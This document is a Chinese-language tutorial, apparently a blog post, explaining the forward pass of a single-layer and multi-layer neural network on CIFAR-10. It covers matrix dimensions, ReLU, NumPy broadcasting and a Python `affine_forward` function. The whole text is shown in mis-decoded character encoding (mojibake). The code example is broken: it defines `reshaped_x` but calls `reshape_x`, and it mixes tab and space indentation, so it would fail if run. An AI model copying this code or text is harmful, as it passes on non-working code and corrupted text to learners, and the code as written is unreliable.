่ฟ™$D+1$ไธชๅ‚ๆ•ฐๅฐฑไธๅคŸ็”จไบ†๏ผŒๅบ”่ฏฅ่ฆๆœ‰$10\\times(D+1)$ไธชๅ‚ๆ•ฐๆ‰่กŒใ€‚่ฟ˜ๆ˜ฏ็”จ้‚ฃไธชๆถๆž็š„ไพ‹ๅญ่ฏดๆ˜Ž็š„่ฏ๏ผŒๅฐฑๆ˜ฏ่ฏดไธ€ไธช็ฅž็ปๅ…ƒ่ฏ„ๅง”ๅฏไธๅคŸ็”จๅ“ฆ๏ผŒ่ฆ10ไธชๆˆด็€ไธๅŒๆœ‰่‰ฒ็œผ้•œ็š„็ฅž็ปๅ…ƒ่ฏ„ๅง”ๅˆ†ๅคดๅŽป่€ƒๅฏŸ10ไธชไธๅŒๆ ‡็ญพ๏ผŒ่ฟ™ๆ ทๅฐฑๅฏไปฅๅฏนๆฏไธชๆ ทๆœฌๅ›พ็‰‡็ป™ๅ‡บ10ไธชๅฏนๅบ”ไธๅŒ็ฑปๅˆซ็š„ๅพ—ๅˆ†ใ€‚\n\nๆ‰€ไปฅ๏ผŒๆˆ‘ไปฌๅฏไปฅๅœจๆœ€ๅˆ็š„็Ÿฉ้˜ต่กจ่พพๅผ $\\sum_iw_ix_i+b$ ็š„ๅŸบ็ก€ไธŠๆจชๅ‘ๅปถๅฑ•ๆˆๅฆ‚ไธ‹็Ÿฉ้˜ต่กจ่พพๅผ๏ผš\n$$\n\\underbrace{\\begin{bmatrix}\n \\sum_iw_ix_i+b & \\cdots & \n\\end{bmatrix}}_{1\\times 10}\n=\n\\underbrace{\\begin{bmatrix}\n\\cdots & x_i & \\cdots\n\\end{bmatrix}}_{1\\times D}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n\\vdots & & \\\\ \n w_i & \\cdots & \\cdots \\\\ \n\\vdots & & \n\\end{bmatrix}}_{D\\times 10}\n+\n\\underbrace{\\begin{bmatrix}\n b &\\cdots & \n\\end{bmatrix}}_{\\underset{\\text{Broadcasting}}{1\\times 10}}\n$$\nๅฟ˜ไบ†่ฏด๏ผŒๅœจไธŠ้ข่กจ่พพๅผ้‡Œ๏ผŒๅคงๆ‹ฌๅทไธ‹้ข็š„ๆ•ฐๅญ—่กจ็คบ็š„ๆ˜ฏๅฝ“ๅ‰็Ÿฉ้˜ต็š„ใ€่กŒๆ•ฐ$\\times$ๅˆ—ๆ•ฐใ€‘ใ€‚ๅŒๆ ทๅœฐ๏ผŒ่ฟ™้‡Œ่ฟ็”จไบ†็Ÿฉ้˜ตไน˜ๆณ•ๅ’Œๅ‘้‡ๅŒ–่กจ็คบไผšๅคงๅคง็š„ๆ้ซ˜่ฟ็ฎ—ๆ•ˆ็Ž‡ใ€‚ๅœจๅฆ‚ๆญค็ฎ€ๅ•็š„็Ÿฉ้˜ต่ฟ็ฎ—ไน‹ๅŽ๏ผŒ็ญ‰ๅทๅทฆ่พนๆ‰€ๅพ—ๅˆฐไธ€่กŒๆ•ฐ็ป„(่กŒๅ‘้‡)ๅฐฑ่กจ่พพไบ†ๅœจๅ‚ๆ•ฐ็Ÿฉ้˜ตwๅ’Œๅ‘้‡b็š„ๆ่ฟฐไธ‹๏ผŒ่ฏฅไธ€ๅผ ๆ ทๆœฌๅ›พ็‰‡ๅˆ†ๅˆซๅฏนๅบ”10ไธชไธๅŒ็ฑปๆ ‡ๆ ‡็ญพ็š„ๅพ—ๅˆ†ใ€‚่€Œๆˆ‘ไปฌๆœ€็ปˆ็š„็›ฎๆ ‡ๅฐฑๆ˜ฏๅญฆไน ๅฆ‚ไฝ•่ฎญ็ปƒ่ฟ™้‡Œ็š„ๅ‚ๆ•ฐwๅ’Œb๏ผŒๅนถไธ”ๆˆ‘ไปฌๅธŒๆœ›่ฎญ็ปƒๅฅฝๅŽ็š„ๆŸๆ ทๆœฌๅ›พ็‰‡ๅœจๆญฃ็กฎ็›ฎๆ ‡ๆ ‡็ญพไธ‹ๆ‰€ๅฏนๅบ”็š„ๅพ—ๅˆ†ๆ˜ฏๆœ€้ซ˜็š„ใ€‚\n\nไธบไบ†ไพฟไบŽ็›ด่ง‚็†่งฃ๏ผŒ็ป™ไฝ ไธ€ไธชๆ•ฐๅ€ผๆ —ๅญๅฐๅฐ้ฒœ๏ผˆๅ’ŒไธŠ้ข็š„็Ÿฉ้˜ตๅ…ฌๅผๆœ‰็‚นๅŒบๅˆซ๏ผŒไฝ†ๅนถไธๅฝฑๅ“็†่งฃ๏ผ‰๏ผš\n\n---\n\n![](http://upload-images.jianshu.io/upload_images/2301760-339645fdcb2c2cdb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nๅฏไปฅ็œ‹ๅˆฐๆˆ‘ไปฌๆ‹ฟไบ†ๆ ทๆœฌ็Œซๅ’ชๅ›พ็‰‡ไธญ็š„ๅ››ไธชๅƒ็ด ไฝœไธบไธ€ไธช็ฅž็ปๅ…ƒ็š„่พ“ๅ…ฅๆ•ฐๆฎๆบ๏ผŒไธ่ฟ‡ไธŠๅ›พๅชๆŸฅ็œ‹ไบ†3ไธชๆ ‡็ญพ(็Œซ๏ผ็‹—๏ผ่ˆน)๏ผŒไธ”ๆŠŠ่พ“ๅ…ฅๆ•ฐๆฎ$x_i$ๆ”นๆˆ็”จๅˆ—ๅ‘้‡่กจ่พพ็ฝขไบ†๏ผŒ่ฟ™ๅนถไธๅฝฑๅ“ๆˆ‘ไปฌ็†่งฃ๏ผŒๆ— ้žๆ˜ฏๆˆ‘ไปฌ็š„็Ÿฉ้˜ตๅ…ฌๅผๆ”นไธบ$w^T x + b^T$่กจ่พพ ใ€‚ๆŽฅไธ‹ๆฅ็œ‹ๅ›พ่ฏด่ฏ๏ผŒๅฏไปฅ็œ‹ๅˆฐๅœจๅฆ‚ๅ›พๅˆๅง‹ๅŒ–็Ÿฉ้˜ต$W$ๅ’Œ$b$็š„ๆƒ…ๅ†ตไธ‹๏ผŒ็ฎ—ๅ‡บ็š„ๅพ—ๅˆ†ๅฏนๅบ”ไบŽ็Œซๅ’ช็š„ๅˆ†ๆ•ฐๅฑ…็„ถๆ˜ฏๆœ€ไฝŽ็š„[^่ฎก็ฎ—็ป†่Š‚]\n\n[^่ฎก็ฎ—็ป†่Š‚]: 0.2\\*56 -0.5\\*231 +0.1\\*24 +2.0\\*2 +1.1 = -96.8\n\n๏ผŒ่ฟ™่ฏดๆ˜Ž$W$ๅ’Œ$b$็š„ๅ€ผๆฒกๆœ‰่ฎญ็ปƒๅฅฝๅ•Šใ€‚้‚ฃไนˆ็ฉถ็ซŸ่ฏฅๅฆ‚ไฝ•่ฎญ็ปƒๅ‡บๅˆ้€‚็š„ๅ‚ๆ•ฐๅ‘ข๏ผŸ้šพ้“ๆฏๆฌก้ƒฝ่ฆ่‚‰็œผ่ง‚ๅฏŸๆฏไธชๆ ‡็ญพ็ฎ—ๅ‡บ็š„ๅพ—ๅˆ†ๅ†ๅŒๆ—ถๅฏนๆฏ”ๅ‚ๆ•ฐ้€‰็š„็ฉถ็ซŸๅฅฝไธๅฅฝ๏ผŸๅ†้šพ้“ๆฏๆฌก้ƒฝ่ฆ่‡ชๅทฑๆ‰‹่ฐƒๅ‚ๆ•ฐ็Ÿฉ้˜ต็š„ๆฏไธชๅ€ผๆฅ่ง‚ๅฏŸๅพ—ๅˆ†ๆ•ˆๆžœไนˆ๏ผŸๅฝ“็„ถไธไผš่ฟ™ไนˆๅ‚ปๅ•ฆ๏ผŒๅˆฐๆ—ถๅ€™ไธ€ไธชๅซ**ๆŸๅคฑๅ‡ฝๆ•ฐ**็š„ๆฆ‚ๅฟตๅฐฑ็™ปๅœบไบ†๏ผŒไธ”็ปง็ปญๅฌๆ•…ไบ‹ๅ…ˆ๏ฝž\n\n---\n\nๅ›žๅˆฐไธŠ้ข็ป่ฟ‡ๆจชๅ‘ๅปถๅฑ•ๅŽ็š„็Ÿฉ้˜ต่กจ่พพๅผ๏ผš\n$$\n\\underbrace{\\begin{bmatrix}\n \\sum_iw_ix_i+b & \\cdots & \n\\end{bmatrix}}_{1\\times 10}\n=\n\\underbrace{\\begin{bmatrix}\n\\cdots & x_i & \\cdots\n\\end{bmatrix}}_{1\\times D}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n\\vdots & & \\\\ \n w_i & \\cdots & \\cdots \\\\ \n\\vdots & & \n\\end{bmatrix}}_{D\\times 10}\n+\n\\underbrace{\\begin{bmatrix}\n b &\\cdots & \n\\end{bmatrix}}_{\\underset{\\text{Broadcasting}}{1\\times 10}}\n$$\nๅฏไปฅ็œ‹ๅˆฐๅฏนไบŽไธ€ไธช$D$็ปดๅ›พ็‰‡$x_i$๏ผŒ้ƒฝๅ’Œw็Ÿฉ้˜ต็š„ๆฏไธ€ๅˆ—(10ไธช็ฅž็ปๅ…ƒ่ฏ„ๅง”)ๆœ‰่ฟ‡ไบฒๅฏ†ๆŽฅ่งฆ๏ผŒ็‹ฌ็ซ‹ๅนถ่กŒ็š„่ฟ›่กŒ่ฟ‡็Ÿฉ้˜ตไน˜ๆณ•๏ผŒๅ›žๆƒณไธ€ไธ‹๏ผŒ่ฟ™ไธๅ’Œไธ€ไธช็ฅž็ปๅ…ƒ้ขๅฏนไธ€ๅผ ๆ ทๆœฌๅ›พ็‰‡็š„ๅ…ฌๅผๅผ‚ๆ›ฒๅŒๅทฅไบ†ไนˆ๏ผŸๅชไธ่ฟ‡ๆขๆˆไบ†10ไธช็ฅž็ปๅ…ƒๅนถ่กŒ้ขๅฏนไธ€ๅผ ๆ ทๆœฌๅ›พ็‰‡ใ€‚ๆ‰€ไปฅ๏ผŒไธŠ่ฟฐ็Ÿฉ้˜ต่กจ่พพๅผๅฐฑ็›ธๅฝ“ไบŽไธ€ๅผ ๅ›พ็‰‡็š„ๆ•ฐๆฎไปŽ่พ“ๅ…ฅๅฑ‚ๆตๅˆฐๅซๆœ‰10ไธช็ฅž็ปๅ…ƒ็š„ๅฑ‚็Šถ็ป“ๆž„๏ผˆๆ— ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผ‰ใ€‚๏ผˆไธฅๆ ผๅœฐ่ฏด๏ผŒ่ฟ™ๅ…ถๅฎžๆ˜ฏ**ๆ— ้šๅฑ‚็ฅž็ป็ฝ‘็ปœ**๏ผŒๆˆ–่€…ๅซ**ๅ•ๅฑ‚ๆ„Ÿ็Ÿฅๅ™จ**๏ผŒๅ› ไธบ่พ“ๅ…ฅๅฑ‚็š„ไธ‹ไธ€ๅฑ‚ๅฐฑๆ˜ฏ่พ“ๅ‡บๅฑ‚๏ผŒ็›ดๆŽฅ่พ“ๅ‡บไบ†10ไธชๆ ‡็ญพ็š„ๆ‰“ๅˆ†็ป“ๆžœไบ†๏ผŒๅฆ‚ไธ‹้ข็š„็คบๆ„ๅ›พ๏ผ‰\n\n![](http://neuroph.sourceforge.net/tutorials/images/perceptron.jpg)\n\nๆŽฅไธ‹ๆฅ๏ผŒๆŽจๅนฟๅˆฐไธ€่ˆฌ็š„้š่—ๅฑ‚็ฅž็ปๅ…ƒไปฌๆ˜ฏๅฆ‚ไฝ•ๅนฒๆดป็š„ๅฐฑๆ˜“ๅฆ‚ๅๆŽŒไบ†๏ผๅช่ฆๅ……ๅˆ†ๅˆฉ็”จ็Ÿฉ้˜ตไน˜ๆณ•๏ผŒๅฐฑๅฏไปฅๅพˆๆธ…ๆฅšไบ†ใ€‚ๅฐ็ป“ๅฆ‚ไธ‹๏ผš\n\n---\n\n![](http://simtalk.cn/img/Neural-Network/DNN.jpg)\n$$\n\\underbrace{ \\begin{bmatrix}\n & & \\\\ \n & \\max(0,\\hat{x}_i) & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n\\overleftarrow{=}\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\hat{x}_i & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n\\overleftarrow{=}\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & x_i & \\\\ \n & & \n\\end{bmatrix}}_{N\\times H}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & w_{ij} & \\\\ \n & & \n\\end{bmatrix}}_{H\\times M}\n+\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & b_i & \\\\ \n & & \n\\end{bmatrix}}_{\\underset{\\text{Broadcasting}}{N\\times M}}\n$$\nไปŽๅณๅพ€ๅทฆ็œ‹ๅ…ฌๅผ(็ญ‰ๅท็ฑปไผผ่ต‹ๅ€ผๆ“ไฝœ)ใ€‚ไธŠ่ฟฐ็Ÿฉ้˜ต่กจ่พพๅผ่กจ็คบ็š„ๆ˜ฏๆŸไธ€้š่—ๅฑ‚็š„Hไธช็ฅž็ปๅ…ƒไปฌๅœจ้ขๅฏนไธŠไธ€ๅฑ‚่พ“ๅ…ฅๆ•ฐๆฎ$x_i$ๆ˜ฏๅฆ‚ไฝ•ไผ ็ป™ไธ‹ไธ€ๅฑ‚็š„Mไธช็ฅž็ปๅ…ƒ็š„ใ€‚N่กจ็คบๆ•ฐๆฎๆ ทๆœฌ็š„ไธชๆ•ฐ(ไบฆ่พ“ๅ…ฅๅฑ‚็š„ๅœˆๅœˆๆ•ฐ)๏ผŒH่กจ็คบๆœฌ้š่—ๅฑ‚็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐ๏ผŒM่กจ็คบไธ‹ไธ€้š่—ๅฑ‚็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐ(ๆˆ–ไฝไบŽไธ‹ไธ€่พ“ๅ‡บๅฑ‚็š„ๆ ทๆœฌๅ›พ็‰‡ๆ ‡็ญพ็ง็ฑปๆ•ฐ)ใ€‚๏ผˆๆœ€ๅŽ็Ÿฉ้˜ตb้‡Œ็š„Broadcastingๅซไน‰่งๅŽๆ–‡ๅ“ˆ๏ฝžไธ่ฆๆ€ฅ๏ผ‰\n\nๆฏไธ€ไธช้š่—ๅฑ‚ๅพ—ๅ‡บๅพ—ๅˆ†$\\hat{x}_i$ๅŽ๏ผŒ้ƒฝ่ฟ˜้œ€่ฆ็ป่ฟ‡ๆฟ€ๆดปๅ‡ฝๆ•ฐ$f(\\hat{x}_i)=\\max(0,\\hat{x}_i)$็š„ๅค„็†๏ผŒ่ฆ็•™ๆ„็š„ๆ˜ฏๆœ€ๅŽ็š„่พ“ๅ‡บๅฑ‚ๅนถไธ้œ€่ฆๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒ็ป™ๅ‡บๅพ—ๅˆ†ๅŽๅณๅฏไบค็ป™ๆŸๅคฑๅ‡ฝๆ•ฐ(ๅŽๆ–‡ไผšๆๅˆฐ)ใ€‚\n\n---\n\n**ๅฐๅค‡ๆณจ๏ผš**\n\nๅ€ผๅพ—ๆณจๆ„็š„ๆ˜ฏ๏ผšๆตๅ…ฅๆฏไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌ็š„่พ“ๅ…ฅๆ•ฐๆฎ็Ÿฉ้˜ตxๅ’Œๆตๅ‡บๆฏไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌ็š„่พ“ๅ‡บๆ•ฐๆฎ็Ÿฉ้˜ต็š„่กŒๆ•ฐๆฒกๆœ‰ๅ˜ๅŒ–๏ผŒ้ƒฝๆ˜ฏN๏ผŒๅณๆ ทๆœฌๅ›พ็‰‡ไธชๆ•ฐใ€‚ๆฏไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌ็š„ๅ‚ๆ•ฐ็Ÿฉ้˜ตwๅ’Œb้ƒฝๆ˜ฏไธๅŒ็š„๏ผŒ้‚ฃไนˆไฝ ๅฐฑ่ƒฝๆƒณ่ฑกๅˆฐๅฏนไบŽไธ€ไธช\"ๅพˆๅคงๅพˆๆทฑ\"็ฅž็ป็ฝ‘็ปœ่€Œ่จ€๏ผŒ้œ€่ฆ่ฎญ็ปƒๅญฆไน ็š„ๅ‚ๆ•ฐไธชๆ•ฐๅฏๆ˜ฏ็›ธๅฝ“ๅคš็š„ๅ“ฆ๏ฝž่€Œไธ”ๅ‚ๆ•ฐ็Ÿฉ้˜ตw็š„็ปดๆ•ฐไนŸๅพˆๆœ‰็‰น็‚น๏ผŒๅ…ถ่กŒๆ•ฐHๅ’Œๅˆ—ๆ•ฐM๏ผŒๅˆ†ๅˆซๅฏนๅบ”ไบŽๅฝ“ๅ‰้š่—ๅฑ‚็ฅž็ปๅ…ƒไธชๆ•ฐๅ’Œไธ‹ไธ€ๅฑ‚็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐใ€‚ๅฆ‚ๆญคไธ€ๆฅ๏ผŒๅฐฑๆŠŠๆฏไธ€ๅฑ‚็ฅž็ปๅ…ƒไธ€ๅฑ‚ๅฅ—ไธ€ๅฑ‚่ฟžๆŽฅ่ตทๆฅไบ†ใ€‚\n\n\n\n\n\n---\n\n### ไธๅบŸ่ฏไบ†๏ผŒ็œ‹ไปฃ็ ๏ผ\n\nๆญฃๅฆ‚ๆœฌๆ–‡ๅผ€ๅคด้‚ฃๅฅ่ฏ๏ผŒ\n\n> โ€œโ€ฆeverything became much clearer when I started writing code.โ€\n\nๅ†ๅผบๅคง็š„็ฎ—ๆณ•๏ผŒๆ— ่ฎบ็Ÿซๆƒ…็š„ๆ€Žไนˆ่งฃ้‡Š๏ผŒไนŸ้ƒฝไธๅฆ‚็›ดๆŽฅ้ฃžไปฃ็ ๆฅๅพ—ๆ›ดๆธ…ๆ™ฐ๏ผŒๆ›ด็›ดๆŽฅใ€‚\n\n้‚ฃไนˆไปปๆ„ๆŸไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌๅœจๅ‰ๅ‘ไผ ๆ’ญไธญ๏ผŒ็ฉถ็ซŸๅšไบ†ไป€ไนˆๅ‘ข๏ผŸๅ‰้ขๆ€ป็ฎ—ๆŠŠๆ•ฐๆฎๅฆ‚ไฝ•่ฟๅŠจ็š„ๆ•…ไบ‹่ฏดๆธ…ๆฅšไบ†๏ผŒ็Žฐๅœจๅผ€ๅง‹็›ดๆŽฅ็”จไปฃ็ ่ฏดๆ˜Žไธ€ๅˆ‡๏ผŒ็ฌฌไธ€ๆญฅ๏ผŒๆˆ‘ไปฌๅฎšไน‰้ขๅฏน่พ“ๅ…ฅๆ•ฐๆฎๆŸไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌ็ป™ๅ‡บโ€œๅพ—ๅˆ†โ€็š„ๅ‡ฝๆ•ฐ `affine_forward(x, w, b) = (out, cache)` ๏ผš\n\n```python\ndef affine_forward(x, w, b):\n \"\"\"\n Inputs:\n - x: A numpy array containing input data, of shape (N, d_1, ..., d_k)\n - w: A numpy array of weights, of shape (D, M) ๆƒ้‡\n - b: A numpy array of biases, of shape (M,) ๅ็ฝฎ\n Returns a tuple of:\n - out: output, of shape (N, M)\n - cache: (x, w, b)\n \"\"\"\n\tout = None \t\t# ๅˆๅง‹ๅŒ–\n\treshaped_x = np.reshape(x, (x.shape[0],-1))\t\t# ็กฎไฟxๆ˜ฏไธ€ไธช่ง„ๆ•ด็š„็Ÿฉ้˜ต\n\tout = reshape_x.dot(w) +b\t\t\t\t\t\t# out = w x +b\n\tcache = (x, w, b)\t\t\t\t\t\t\t\t# ๅฐ†่ฏฅๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๅ€ผ็ผ“ๅ†ฒๅ‚จๅญ˜่ตทๆฅ๏ผŒไปฅๅค‡ไป–็”จ\n\treturn out, cache\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ้ฆ–ๅ…ˆ๏ผŒ้œ€่ฆๅฏน่พ“ๅ…ฅๆ•ฐๆฎ$x$่ฟ›่กŒ**็Ÿฉ้˜ตๅŒ–**๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฆ‚ๆžœ่ฟ™ไปฃ่กจ็š„ๆ˜ฏ็ฌฌไธ€ๅฑ‚็ฅž็ปๅ…ƒๆญฃๅ‘ไผ ๆ’ญ๏ผŒ้‚ฃไนˆๅฏนไบŽๆˆ‘ไปฌ็š„ๅ›พ็‰‡ๆ•ฐๆฎ้›†CIFAR-10๏ผŒๅ…ถๆฏๅผ ๅ›พ็‰‡่พ“ๅ…ฅ่ฟ›ๆฅ็š„ๆ•ฐๆฎ$x$็š„shapeๆ˜ฏ$(N,32,32,3)$๏ผŒๆ˜ฏไธ€ไธช4็ปด็š„array๏ผŒๆ‰€ไปฅ้œ€่ฆๅฐ†ๅ…ถreshapeๆˆ$(N,3072)$็š„2็ปด็Ÿฉ้˜ต๏ผŒๅ…ถไธญๆฏ่กŒๆ˜ฏ็”ฑไธ€ไธฒ3072ไธชๆ•ฐๅญ—ๆ‰€ไปฃ่กจ็š„ไธ€ไธชๅ›พ็‰‡ๆ ทๆœฌใ€‚`np.reshape(x, (x.shape[0],-1))` ไธญ็š„ `-1` ๆ˜ฏๆŒ‡ๅ‰ฉไฝ™ๅฏๅกซๅ……็š„็ปดๅบฆ๏ผŒๆ‰€ไปฅ่ฟ™ๆฎตไปฃ็ ๆ„ๆ€ๅฐฑๆ˜ฏไฟ่ฏreshapeๅŽ็š„็Ÿฉ้˜ต่กŒๆ•ฐๆ˜ฏ$N$๏ผŒๅ‰ฉไฝ™็š„็ปดๅบฆไฟกๆฏ้ƒฝ่ง„ๅˆ™็š„ๆŽ’ๅœบไธ€่กŒๅณๅฏใ€‚\n- ่พ“ๅ‡บ็š„ `cache` ๅ˜้‡ๅฐฑๆ˜ฏๆŠŠ่ฏฅๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๅ€ผ$(x,w,b)$ๅญ˜ไธบๅ…ƒ็ป„(tuple)ๅ†่พ“ๅ‡บๅ‡บๅŽปไปฅๅค‡็”จ๏ผŒๅฎƒๅฝ“็„ถไธไผšๆตๅˆฐไธ‹ไธ€ๅฑ‚็ฅž็ปๅ…ƒ๏ผŒไฝ†ๅ…ถๅœจๅŽ้ขไผš่ฎฒๅˆฐ็š„ๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•ไธญๅˆฉ็”จๅˆฐ๏ผŒ็”ฑๆญคๅฏ่งๅ…ถๆˆ‘ไปฌๆ˜ฏๆœ‰ๅคšไนˆ็š„่€่ฐ‹ๆทฑ็ฎ—ๅ•Š๏ผ\n- ๆŽฅไธ‹ๆฅๆ˜ฏ้‡็‚น๏ผš `out = reshape_x.dot(w) +b` ่ฟ™ๅฅไปฃ็ ๅฐฑ่กจ่พพไบ†ๆŸไธ€ๅฑ‚็ฅž็ปๅ…ƒไธญ๏ผŒๆฏไธช็ฅž็ปๅ…ƒๅฏไปฅๅนถ่กŒ็š„็‹ฌ็ซ‹ๅฎŒๆˆไธŠไธค่Š‚ๆๅˆฐ็š„็บฟๆ€งๆ„Ÿ็Ÿฅๅ™จๆจกๅž‹๏ผŒๅฏนๆฏไธชๅ›พๅƒ็ป™ๅ‡บ่‡ชๅทฑ็š„่ฏ„ไปทๅˆ†ๆ•ฐ๏ผŒไธŽไปฃ็ ๅฏนๅบ”ไธ€่‡ด็š„ๅ†…ๆถตๅฏ่งๅฆ‚ไธ‹็Ÿฉ้˜ต่กจ่พพๅผ๏ผš\n\n$$\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{out} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n=\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{reshape_x} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times D}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{w} & \\\\ \n & & \n\\end{bmatrix}}_{D\\times M}\n+\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{b} & \\\\ \n & & \n\\end{bmatrix}}_{\\underset{\\text{Broadcasting}}{N\\times M}}\n$$\n\n่ฟ™้‡Œไฝ ่ฆๆธ…ๆฅš็š„ๆ˜ฏ `reshape_x` ไธญๆฏไธ€่กŒๅ’Œ `w` ไธญ็š„ๆฏไธ€ๅˆ—็š„่ฟ็ฎ—ๅฏนๅบ”ไบŽไธ€ไธช็ฅž็ปๅ…ƒ้ขๅฏนไธ€ๅผ ๅ›พ็‰‡็š„่ฟ็ฎ—่ฟ‡็จ‹ใ€‚็Ÿฉ้˜ตไน˜ๆณ•ๆฒกๅ•ฅๅฏ่ฏด็š„๏ผŒๅช่ฆๆŠŠ่พ“ๅ…ฅ็Ÿฉ้˜ตๅ’Œ่ฆ่พ“ๅ‡บ็š„็Ÿฉ้˜ต็š„็ปดๆ•ฐๆŽฐๆ‰ฏๆธ…ๆฅšไบ†๏ผŒๅฐฑไผšๅพˆ็ฎ€ๅ•ใ€‚่ฟ™้‡Œๅ‚ๆ•ฐwๅ’Œb้ƒฝไฝœไธบๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๅ‚ๆ•ฐๅ‚ไธŽ่ฟ็ฎ—็š„๏ผŒๅฏ่งไฝ ๆƒณ่ฎฉ็ฅž็ป็ฝ‘็ปœ่ฟไฝœ่ตทๆฅ๏ผŒไฝ ๆ˜ฏ้œ€่ฆๅ…ˆๅˆๅง‹ๅŒ–ๆ‰€ๆœ‰็š„็ฅž็ป็ฝ‘็ปœๅ‚ๆ•ฐ็š„๏ผŒ้‚ฃไนˆ็ฉถ็ซŸๅฆ‚ไฝ•ๅˆๅง‹ๅŒ–ๅ‘ข๏ผŸ่ฟ™่ฟ˜ๆ˜ฏ้—จๅฐๅญฆ้—ฎ๏ผŒๆˆ‘ไปฌๆš‚ไธ”ๅ‡ๅฎšๆ˜ฏ้šๆœบๅกซไบ†ไบ›็š„ๅ‚ๆ•ฐ่ฟ›ๆฅใ€‚่™ฝ็„ถ่พ“ๅ…ฅ่ฟ›ๆฅ็š„ๅ‚ๆ•ฐ b ็š„shapeๆ˜ฏ `(M,)`๏ผŒไฝ†ๅœจnumpyไธญ๏ผŒไธคไธชarray็š„\"+\"็›ธๅŠ ๏ผŒๆ˜ฏๅฎŒๅ…จ็ญ‰ไปทไบŽ`np.add()`ๅ‡ฝๆ•ฐ(่ฏฆๆƒ…ๅฏhelp่ฏฅๅ‡ฝๆ•ฐ)๏ผŒ่ฟ™้‡Œไฝ“็Žฐไบ†numpy็š„**Broadcastingๆœบๅˆถ**๏ผš(่ฏฆๆƒ…ๅฏๆŸฅ็œ‹[Pythonๅบ“numpyไธญ็š„Broadcastingๆœบๅˆถ่งฃๆž](http://blog.csdn.net/hongxingabc/article/details/53149655))\n\n> ็ฎ€ๅ•็š„่ฏด๏ผŒๅฏนไธคไธช้˜ต่ฟ›่กŒๆ“ไฝœๆ—ถ๏ผŒNumPy้€ๅ…ƒ็ด ๅœฐๆฏ”่พƒไป–ไปฌ็š„ๅฝข็Šถใ€‚ๅชๆœ‰ไธค็งๆƒ…ๅ†ตไธ‹Numpyไผš่ฎคไธบไธคไธช็Ÿฉ้˜ตๅ†…็š„ไธคไธชๅฏนๅบ”็ปดๅบฆๆ˜ฏๅ…ผๅฎน็š„๏ผš1. ๅฎƒไปฌ็›ธ็ญ‰๏ผ› 2. ๅ…ถไธญไธ€ไธชๆ˜ฏ1็ปดใ€‚ไธพไธช็‰›้€ผ็š„ไพ‹ๅญ๏ผš\n>\n> ```shell\n> A (4d array): 8 x 1 x 6 x 1\n> B (3d array): 7 x 1 x 5\n> Result (4d array): 8 x 7 x 6 x 5\n> ```\n>\n> ๅฝ“ไปปไฝ•ไธ€ไธช็ปดๅบฆๆ˜ฏ1๏ผŒ้‚ฃไนˆๅฆไธ€ไธชไธไธบ1็š„็ปดๅบฆๅฐ†่ขซ็”จไฝœๆœ€็ปˆ็ป“ๆžœ็š„็ปดๅบฆใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅฐบๅฏธไธบ1็š„็ปดๅบฆๅฐ†ๅปถๅฑ•ๆˆ–โ€œ้€ไธชๅคๅˆถโ€ๅˆฐไธŽๅฆไธ€ไธช็ปดๅบฆๅŒน้…ใ€‚\n>\n> ๆ‰€ไปฅ**ไปฃ็ ไธญ็š„ๅ็ฝฎb๏ผŒๅ…ถshapeไธบ(M,)๏ผŒๅ…ถๅฎžๅฎƒ่กจๆ˜Žๆ˜ฏไธ€ไธช$1\\times M$็š„่กŒๅ‘้‡๏ผŒ้ขๅฏนๅฆไธ€ไธช$N\\times M$็š„็Ÿฉ้˜ต๏ผŒb ไพฟ้‡ๅผบๅˆ™ๅผบ็š„ๅœจๅผฑๅŠฟ็ปดๅบฆไธŠ(็บตๅ‘)่ขซๅปถๅฑ•ๆˆไบ†ไธ€ไธช$N\\times M$็š„็Ÿฉ้˜ต**๏ผš\n> $$\n> \\Big\\downarrow\\left.\\begin{bmatrix}\n> \\cdots &b & \\cdots \\\\ \n> \\cdots & b& \\cdots \\\\ \n> \\cdots & b& \\cdots\n> \\end{bmatrix}\\right\\} N่กŒ\n> $$\n>\n\n่™ฝ็„ถ๏ผŒๆˆ‘ไปฌ่ฏดๆธ…ๆฅšไบ† `affine_forward(x,w,b)` ๅ‡ฝๆ•ฐ็š„ๆ•…ไบ‹๏ผŒไฝ†่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅœจๆญฃๅ‘ไผ ๆ’ญไธญไธ€ๅฑ‚็ฅž็ปๅ…ƒ่ฆๅนฒ็š„ๆดป่ฟ˜ๆฒกๅฎŒๅ“ฆ๏ฝž 